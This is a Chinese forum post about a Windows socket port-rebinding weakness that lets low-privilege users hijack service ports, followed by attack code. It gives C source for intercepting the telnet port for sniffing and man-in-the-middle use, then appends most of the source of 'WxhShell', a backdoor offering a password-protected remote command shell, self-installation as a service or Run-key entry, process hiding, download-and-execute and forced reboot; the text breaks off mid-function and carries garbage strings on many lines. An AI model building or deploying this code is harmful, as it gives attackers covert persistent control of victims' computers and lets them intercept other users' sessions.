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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sq^,l6es>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0'~ ?u'  
M$GD8|*e  
  saddr.sin_family = AF_INET; ?SpI^Wn)[  
_% P%~`?!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F 6Ol5  
u Qj#U m8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); we@bq,\w  
|amEuKJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2c~^|@   
ux }DWrR  
  这意味着什么?意味着可以进行如下的攻击: dlU=k9N-  
T>z@;5C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 936t6K&  
gK>Vm9rO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /x-t -}  
pif8/e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VjnSi  
iN><m|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N>z8\y  
/ [19ITZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #B?7{#.1  
MVCCh+,GI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C+iP @~  
NUU}8a(K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,Q:dAe[ZsX  
_#+9)*A  
  #include .{} t[U  
  #include 2rH6ap  
  #include |N g[^  
  #include    3o?Lz7L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "6}+|!"$  
  int main() >5j/4Ly  
  { (-#{qkA  
  WORD wVersionRequested; 0TNzVsu7  
  DWORD ret; p$V+IJtO(  
  WSADATA wsaData; S\,{ qhd  
  BOOL val; ff0B*0  
  SOCKADDR_IN saddr; Fc]#\d6  
  SOCKADDR_IN scaddr; 4rx|6NV6  
  int err; =f["M=)ZJ  
  SOCKET s; ,t[D1KZt  
  SOCKET sc; 5|b/G  
  int caddsize; w.3R1}R  
  HANDLE mt; \<8!b {F  
  DWORD tid;   XC$~!  
  wVersionRequested = MAKEWORD( 2, 2 ); (y36NH+  
  err = WSAStartup( wVersionRequested, &wsaData ); V~wmGp.e  
  if ( err != 0 ) { %Xi%LUk{  
  printf("error!WSAStartup failed!\n"); ( r O j,D  
  return -1; #-W5$1  
  } ]+Vcuzq/  
  saddr.sin_family = AF_INET; `=*svrmS  
   l ghzd6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ; YRZg|Zw  
k (R4-"@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C+k>Ajr  
  saddr.sin_port = htons(23); X*~YCF[_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s6egd%r  
  { HI?>]zz|  
  printf("error!socket failed!\n"); {\e}43^9N  
  return -1; v Zxy9Wmc  
  } |RmBa'.)z  
  val = TRUE; cBA[D~s  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Nt'5}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zk]~cG5dT/  
  { K?>&Mr  
  printf("error!setsockopt failed!\n"); }u&JX  
  return -1; &-zI7@!  
  } U}7[8&k1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pGFocw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <ZiO[dEV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h(L5MZs  
9+:Trc\%N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Wama>dy%  
  { lO *Hv9#  
  ret=GetLastError(); 4L0LT>'M\  
  printf("error!bind failed!\n"); c"xaN  
  return -1; (07d0<<[  
  } oW_WW$+N  
  listen(s,2); (nzt}i0  
  while(1) V6k9L*VP  
  { `et<Z  
  caddsize = sizeof(scaddr); *v9G#[gG  
  //接受连接请求 [>0r'-kI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |?> h$'  
  if(sc!=INVALID_SOCKET) g9XtE  
  { .EcMn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |2# Ro*  
  if(mt==NULL) u;!Rv E8N  
  { .>YJ9 5&\  
  printf("Thread Creat Failed!\n"); ~I<y^]2{  
  break; $enh45Wy  
  } ;w>B}v;RE  
  } <wC1+/]  
  CloseHandle(mt); yi OF&  
  } ^kq!/c3r  
  closesocket(s); ^wlep1D  
  WSACleanup(); <'-me09C*  
  return 0; FuKNH~MevQ  
  }   a|NU)mgEI  
  DWORD WINAPI ClientThread(LPVOID lpParam) iCS/~[  
  { H]e 2d|  
  SOCKET ss = (SOCKET)lpParam; \a!<^|C&  
  SOCKET sc; {aSq3C<r  
  unsigned char buf[4096]; rXPXO=F1/  
  SOCKADDR_IN saddr; S&*pR3,u  
  long num; j66@E\dN  
  DWORD val; )B_h"5X4\y  
  DWORD ret; N[-)c,O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m%&B4E#3T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bhmjH(.t  
  saddr.sin_family = AF_INET; .kIf1-(<U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xh0A2bw'OP  
  saddr.sin_port = htons(23); s__g*%@B b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5IK@<#wE  
  { 2. _cEY34  
  printf("error!socket failed!\n"); v,0DGR~  
  return -1; wLbngO=VG  
  } =Ug_1w  
  val = 100; .p`'^$X^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q4{tH  
  { Fn,|J[sC  
  ret = GetLastError(); GLyh1qNX  
  return -1; ]_?y[@ZP  
  } m!_ghD{5h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W=?87PkJu  
  { keOW{:^i  
  ret = GetLastError(); ;Y\,2b, xh  
  return -1; UZra'+Wb  
  } $w\, ."y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) In&vh9Lw  
  { fsd>4t:" \  
  printf("error!socket connect failed!\n"); 9:o3JGHSc  
  closesocket(sc); B*IDx`^Y  
  closesocket(ss); gwJu&HA/  
  return -1; N3p3"4_]fy  
  } Y>~JI;Cu`  
  while(1) Q_.Fw\l$`  
  { FS:WbFmc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vEGK{rMA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "=.|QKC1`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  ZsZ1  
  num = recv(ss,buf,4096,0); Z.pw!mu"  
  if(num>0) Z&,}Fgl!F  
  send(sc,buf,num,0); (rn x56I$  
  else if(num==0) lQ"i]};<D  
  break; L:-lqag!  
  num = recv(sc,buf,4096,0); s`RJl V  
  if(num>0) u#~! %~  
  send(ss,buf,num,0); ?C35   
  else if(num==0) `@7tWX0  
  break; 'Aj>+H<B  
  } H%]ch6C  
  closesocket(ss); n~j[Pw  
  closesocket(sc); |U $-d^ZJ  
  return 0 ; tpONSRY  
  } <>s\tJ  
sdQv:nd'R  
1#"Q' ,7  
========================================================== .Er/t"Qs;  
'.,.F0{x  
下边附上一个代码,,WXhSHELL xQap44KPZ  
u2-7vudh  
========================================================== 0h4}RmS  
^<0NIu}  
#include "stdafx.h" QaR.8/xV  
NCt sx /C  
#include <stdio.h> Xf9%A2 iB  
#include <string.h> RCXSz  
#include <windows.h> rrYp^xLa`  
#include <winsock2.h> P qLqF5`S  
#include <winsvc.h> !`o:+Gg@  
#include <urlmon.h> &tCtCk%{j  
ZnLk :6'  
#pragma comment (lib, "Ws2_32.lib") T0%TeFY  
#pragma comment (lib, "urlmon.lib") J|S^K kC  
mcr#Ze  
#define MAX_USER   100 // 最大客户端连接数 "%*lE0Tx  
#define BUF_SOCK   200 // sock buffer *J5RueUG  
#define KEY_BUFF   255 // 输入 buffer |wQZ~Ux:  
ue<<Y"NR  
#define REBOOT     0   // 重启 pVS2dwBqE  
#define SHUTDOWN   1   // 关机 ^]&{"!  
I?Fa  
#define DEF_PORT   5000 // 监听端口 + t4m\/y  
DAHf&/J K  
#define REG_LEN     16   // 注册表键长度 v qMk)htIz  
#define SVC_LEN     80   // NT服务名长度 5KE%@,k k  
Ml?)Sc"\7  
// 从dll定义API PRC)GP&q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /? 1Yf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L^1q/4${  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z.&% >%TPP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N09+idg  
Mk/!,N<h#  
// wxhshell配置信息 h./vTNMc  
struct WSCFG { )=nPM`Jn.  
  int ws_port;         // 监听端口 !r obau7  
  char ws_passstr[REG_LEN]; // 口令 /(ju  
  int ws_autoins;       // 安装标记, 1=yes 0=no +WN>9V0H  
  char ws_regname[REG_LEN]; // 注册表键名 '. Hp*9R  
  char ws_svcname[REG_LEN]; // 服务名 h!av)nhM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l~TIFmHkh%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Gj8[*3d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8:?Q(M7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sJK:xk.6!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (Zg'pSs)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y6jmn1K  
gzCMJ<3!D  
}; I S8nvx\  
u;ooDIq@  
// default Wxhshell configuration Bye@5D  
struct WSCFG wscfg={DEF_PORT, }"B? 8T@_~  
    "xuhuanlingzhe", tW"ptU^9)  
    1, k5QD5/Ej  
    "Wxhshell", 'oZn<c`  
    "Wxhshell", kJi&9  
            "WxhShell Service", tr9Y1vxo{  
    "Wrsky Windows CmdShell Service", &9w%n  
    "Please Input Your Password: ", y<%.wM]-J  
  1, )]?egw5l  
  "http://www.wrsky.com/wxhshell.exe", :#:O(K1PW  
  "Wxhshell.exe" pUMB)(<k  
    }; w+q;dc8  
agm5D/H]:  
// 消息定义模块 0!,gT H>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &xuwke:[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6Y_O^f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dN\P&"`  
char *msg_ws_ext="\n\rExit."; |+xtFe  
char *msg_ws_end="\n\rQuit."; ca3BJWY}J  
char *msg_ws_boot="\n\rReboot..."; yb{{ z@  
char *msg_ws_poff="\n\rShutdown..."; GHC?Tp   
char *msg_ws_down="\n\rSave to "; k-cIb@+"  
f@Rpb}zg+C  
char *msg_ws_err="\n\rErr!"; KR+BuL+L  
char *msg_ws_ok="\n\rOK!"; 4B8Se  
Y:!/4GF  
char ExeFile[MAX_PATH]; ]VG84bFm  
int nUser = 0; l&??2VO/t  
HANDLE handles[MAX_USER]; @23R joK  
int OsIsNt; P[I*%  
d?&!y]RS#  
SERVICE_STATUS       serviceStatus; =#Cf5s6qt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h3]@M$Y[  
Q@W|GOH3  
// 函数声明 %f_OP$;fc  
int Install(void); UG"6RW @  
int Uninstall(void); "ex~ LB  
int DownloadFile(char *sURL, SOCKET wsh); :7Z\3_D/  
int Boot(int flag); opcR~tg@r  
void HideProc(void); D PS1GO*  
int GetOsVer(void); J={OOj  
int Wxhshell(SOCKET wsl); H")N_BB  
void TalkWithClient(void *cs); /=YqjZTCq  
int CmdShell(SOCKET sock); B#k3"vk#  
int StartFromService(void); g\\1C2jG  
int StartWxhshell(LPSTR lpCmdLine); ' MS!ss=r  
3Da,] w<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s 9|a2/{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @Tfwh/UN  
| 2.e0Z]k  
// 数据结构和表定义 j`|^s}8t  
SERVICE_TABLE_ENTRY DispatchTable[] = Ld}(*-1i  
{ Fi?Q 4b  
{wscfg.ws_svcname, NTServiceMain}, N?=qEX|R  
{NULL, NULL} ?dKa;0\  
}; uO_,n  
FJd8s*  
// 自我安装 A |taP$ %  
int Install(void) {GQ Aa  
{ 8>VI$   
  char svExeFile[MAX_PATH]; [Zt# c C+  
  HKEY key; >^H'ZYzw  
  strcpy(svExeFile,ExeFile); Cwsoz  
Ck3QrfM  
// 如果是win9x系统,修改注册表设为自启动 ?zhI=1 ED%  
if(!OsIsNt) { 3Zaq#uA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x7KcO0F{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E)80S.V  
  RegCloseKey(key); qb-2QPEB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RQo$iISwy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $d2kHT  
  RegCloseKey(key); {8{t]LK<  
  return 0; 8_<&f%/  
    } esh$*)1  
  } u 5Eo  
} z{`6#  
else { zJfK4o  
B-\,2rCCZ  
// 如果是NT以上系统,安装为系统服务 OK M\"A4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O$"bd~X  
if (schSCManager!=0) 49xp2{  
{ ?z5ne??  
  SC_HANDLE schService = CreateService !c4)pMd  
  ( sP6 ):h  
  schSCManager, ZTh?^}/  
  wscfg.ws_svcname, 1Nl&4YLO  
  wscfg.ws_svcdisp, Q/QQ:t<XUi  
  SERVICE_ALL_ACCESS, qab) 1ft  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VBbUl|X\  
  SERVICE_AUTO_START, %="~\1y  
  SERVICE_ERROR_NORMAL, 5Cc6 , ]  
  svExeFile, Dm|gSv8d,  
  NULL, y$j1?7  
  NULL, QIij>!c4  
  NULL, <TLGfA1bC  
  NULL, &\"Y/b]  
  NULL TV1e bH7q  
  ); 6K4`;  
  if (schService!=0) MtZt8s  
  { i!SW?\  
  CloseServiceHandle(schService); 4Q$j]U&b  
  CloseServiceHandle(schSCManager); ?JXBWB4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 670J{b  
  strcat(svExeFile,wscfg.ws_svcname); q)K-vt)98  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OH$ F >wO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `d}W;&c  
  RegCloseKey(key); I"8d5a}  
  return 0; 6P%<[Z  
    } ilDJwZg#  
  } < -Hs<T|tW  
  CloseServiceHandle(schSCManager); :b<-[8d&  
} mD D4_E2*  
} _l#3]#  
ERp:EZ'  
return 1; oF%^QT"R  
} gB/;clCdX)  
 &7L~PZ  
// 自我卸载 $:f.Krj  
int Uninstall(void) kF(Ce{;z  
{ K,x$c %  
  HKEY key; }iPo8Ra  
Po Yr:=S?  
if(!OsIsNt) { QO5OnYh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ; @ 7  
  RegDeleteValue(key,wscfg.ws_regname); VFilF<jvu  
  RegCloseKey(key); PU^[HC*K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W:VW_3  
  RegDeleteValue(key,wscfg.ws_regname); *C4~}4WT\  
  RegCloseKey(key); q?;N7P  
  return 0; I6K7!+;2  
  } ,pDp>-vI%  
} gf:vb*#Wa  
} ?gd'M_-J,  
else { z6p#fsD  
-]Q3/"Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %$/=4f.j  
if (schSCManager!=0) D-Bv(/Pz]$  
{ 51&|t#8h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vn|TiZ  
  if (schService!=0) ,(j>)g2Ob  
  { PzIy">plm  
  if(DeleteService(schService)!=0) { ..??O^   
  CloseServiceHandle(schService); #C"7 l6'a  
  CloseServiceHandle(schSCManager); f zLANya  
  return 0; ,]f),;=  
  } ?@_v,,|  
  CloseServiceHandle(schService); rumAo'T/%  
  } >:.w7LQy/  
  CloseServiceHandle(schSCManager); f|X[gL,B  
} P7}t lHX  
} lP}od  
8BHL  
return 1; /t$rX3A  
} utq.r_  
qzz[y#q(  
// 从指定url下载文件 #t=[w  
int DownloadFile(char *sURL, SOCKET wsh) I") H~  
{ &\&'L|0F  
  HRESULT hr; GMEw  
char seps[]= "/"; `ifb<T  
char *token; :_MP'0QP  
char *file; ?O!]8k`1$  
char myURL[MAX_PATH]; I_:t}3s  
char myFILE[MAX_PATH]; uPFRh~ (b  
 G5!|y#T  
strcpy(myURL,sURL); ov1Wr#s  
  token=strtok(myURL,seps); La\Q'0  
  while(token!=NULL) /r>IV`n{  
  { e-~hS6p(  
    file=token; lxm*;?j`W  
  token=strtok(NULL,seps); "=9-i-K9B  
  } .JNcY]V#  
HpW" lYW4  
GetCurrentDirectory(MAX_PATH,myFILE); T48BRVX-F  
strcat(myFILE, "\\"); u06tDJ[  
strcat(myFILE, file); xy2\'kS`G  
  send(wsh,myFILE,strlen(myFILE),0); {V.Wk  
send(wsh,"...",3,0); Z/xV\Ggx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d "2wO[  
  if(hr==S_OK) lrCm9Oy  
return 0; (gLea  
else XxhsPFv  
return 1; YQN.Ohtv*F  
Z#CxQ D%\  
} T0g0jr{  
1JIG+ZNmd  
// 系统电源模块 VxNXd?  
int Boot(int flag) n.@#rBKZ  
{ aZP 2R"  
  HANDLE hToken; z|uOJ0uK  
  TOKEN_PRIVILEGES tkp; F@g17aa  
7kdeYr~<1  
  if(OsIsNt) { hl`u"?rg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Xc{ZN1 4n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Og +)J9#  
    tkp.PrivilegeCount = 1; >Q&CgGpW$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Dq|GQdZ>o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ya#RII']  
if(flag==REBOOT) { iA]DE`S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z3clUtC+  
  return 0;  64SW  
} \e_IFISC  
else { 3b e6p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RZ*<n$#6  
  return 0; #?_#!T|  
} nQ|GqU\oA  
  } $Tfm/=e  
  else { Pv~:gP  
if(flag==REBOOT) { en%J!<&W{K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ># INEO  
  return 0; x9h?e`  
} tbg*_ZQO u  
else { 3eWJt\}?B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2H6:np |O  
  return 0; \/n+j!  
} { yTpRQN~  
} ]{<saAmJC  
TopHE  
return 1; w"1 x=+  
} 7aV$YuL)X~  
$_wo6/J5+D  
// win9x进程隐藏模块 {aoM JJq  
void HideProc(void) 0fA=_=A,  
{ 0Yp>+:#  
KyjyjfIwH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a%v>eXc  
  if ( hKernel != NULL ) >[EBpYi  
  { >G&^?5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;ed#+$Na  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w;~>k%}j  
    FreeLibrary(hKernel); GtC7^ Z&E  
  } =)(0.E  
C\OECVT  
return; pp<E))&R  
} o OQ'*7_  
cu)U7  
// 获取操作系统版本 -A}zJBcR  
int GetOsVer(void) "w9`cz9a~J  
{ l~NEGb  
  OSVERSIONINFO winfo; z" EWj73  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S#mK Pi+3  
  GetVersionEx(&winfo); f\ 'T_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i@XB&;*c\  
  return 1; P<vo;96JT  
  else >otJF3zw   
  return 0; ?.Q3 pUT  
} )(lJT&e  
<1K7@Tu  
// 客户端句柄模块 3-iD.IAUm@  
int Wxhshell(SOCKET wsl) IytDvz*|  
{ g>yry}>04%  
  SOCKET wsh; /9Z!p  
  struct sockaddr_in client; M1EOnq4-  
  DWORD myID; #~S>K3(  
Q,~x#  
  while(nUser<MAX_USER) >nK%^T  
{ TtZ}"MPZ  
  int nSize=sizeof(client); $R?@L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ik Qe~;Y  
  if(wsh==INVALID_SOCKET) return 1; O5M2`6|As  
D#ZPq,f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J+|/-{g  
if(handles[nUser]==0) -x{&an=  
  closesocket(wsh); 6A?8tm/0  
else F\-Si!~oOz  
  nUser++; !9D1 Fa  
  } p31oL{D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WFem#hq   
7E\g &R.  
  return 0; T)~!mifX  
} -=a[J;'q  
\E77SO,$  
// 关闭 socket 5B?i(2&#  
void CloseIt(SOCKET wsh) Im+ 7<3Z  
{ !b63ik15O~  
closesocket(wsh); *{|$FQnR>(  
nUser--; oqYt/4^Q  
ExitThread(0); `7\H41%\pp  
} A? r^V2+j  
X$^JAZ09  
// 客户端请求句柄 6OtVaT=}<O  
void TalkWithClient(void *cs) {E~Xd  
{ K"w%n[u)  
uXpv*i {R  
  SOCKET wsh=(SOCKET)cs; ' %&z.{  
  char pwd[SVC_LEN]; @vt$MiOi  
  char cmd[KEY_BUFF]; ~j"3}wXc5  
char chr[1]; 'fn$'CeM(  
int i,j; WqQU@sA  
#w|5 jN?  
  while (nUser < MAX_USER) { "mA1H]r3  
+>}o;`hPe  
if(wscfg.ws_passstr) { R$d7\nBG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P#;Th8k{K2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P0 b4Hq3  
  //ZeroMemory(pwd,KEY_BUFF); ~b6GrY"vB  
      i=0; ? |VysJ  
  while(i<SVC_LEN) { ?oKL &I@  
R5kH0{zM  
  // 设置超时 2M&$Wuu.q  
  fd_set FdRead; 95L yYg  
  struct timeval TimeOut; dp<$Zw8BE  
  FD_ZERO(&FdRead); vBoO'l9'M  
  FD_SET(wsh,&FdRead); 9yL6W'B!  
  TimeOut.tv_sec=8; " #v%36U  
  TimeOut.tv_usec=0; 3[VNsX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;7j,MbU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *|KVN&#  
b 4OnZ;FI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^{[[Z.&R?  
  pwd=chr[0]; ,hvc``j S8  
  if(chr[0]==0xd || chr[0]==0xa) { |r !G,  
  pwd=0; f3#X0.':  
  break; hZU 1O  
  } 2y%R:Mu  
  i++; BIj   
    } c\K<sM{  
$>r5>6  
  // 如果是非法用户,关闭 socket :)4*^a/lC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U&W"Ea=R/  
} `0@z"D5c  
F#|Z# Mu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RRzP* A%=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fGarUV  
%b?uW] j:  
while(1) { th 2<o5  
_ZyT3P&  
  ZeroMemory(cmd,KEY_BUFF); u"Y]P*[k  
0OWL  
      // 自动支持客户端 telnet标准   Hi8Y6|y$D  
  j=0; vyU!+mlc  
  while(j<KEY_BUFF) { W.[BPR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ArXl=s';s4  
  cmd[j]=chr[0]; t9` Ed>a  
  if(chr[0]==0xa || chr[0]==0xd) { Ct!S Tk[2  
  cmd[j]=0; >lLo4M 3  
  break; A ~&+F>Z  
  } X"<|Z]w  
  j++; @GeHWv  
    } :1_mfX  
%{'4. ,  
  // 下载文件 q qvF-mDN  
  if(strstr(cmd,"http://")) { A[JM4x   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ir&.Z5=  
  if(DownloadFile(cmd,wsh)) "DpKrVuG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I$j|Rq  
  else #>[wD#XJV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A3q*$.[  
  } ch })ivFP[  
  else { u"FjwF?  
"b%FmM  
    switch(cmd[0]) { 0( //D;j  
  WeVi] n  
  // 帮助 39D }  
  case '?': { 4ZI_pf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N!c gN  
    break; ChE_unw  
  } vgThK9{m;  
  // 安装 8Q(8b@ZO,  
  case 'i': { n9] ~  
    if(Install()) P%)b+H{$h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 38Efp$)  
    else X| <yq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fj+O'X  
    break; !^v\^Fc  
    } WQKj]:qk0  
  // 卸载 OKPJuV`y6  
  case 'r': { E {>`MNj  
    if(Uninstall()) *U_oao  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E474l  
    else ( 3;`bvYH"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P']Y( !L  
    break; *rf$>8~$n  
    } :-Wv>V\t  
  // 显示 wxhshell 所在路径 8&.-]{Z  
  case 'p': { JXm?2 /  
    char svExeFile[MAX_PATH]; XeU<^ [  
    strcpy(svExeFile,"\n\r"); 8R4qU!M  
      strcat(svExeFile,ExeFile); Sk=N [hwU  
        send(wsh,svExeFile,strlen(svExeFile),0); p+<}Y DMb  
    break; K\^&+7&zVg  
    } t.U{Bu P  
  // 重启 Pz`hX$  
  case 'b': { \]8i}E1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }4h0bI  
    if(Boot(REBOOT)) o](.368+4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /b{HG7i\  
    else { [`nY2[A$  
    closesocket(wsh); 9L"?wv  
    ExitThread(0); ;BVDt  
    } } yq  
    break; euZ I`*0  
    } :e2X/tl#  
  // 关机 q"nGy#UWR  
  case 'd': { zs8I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ) b:4uK A  
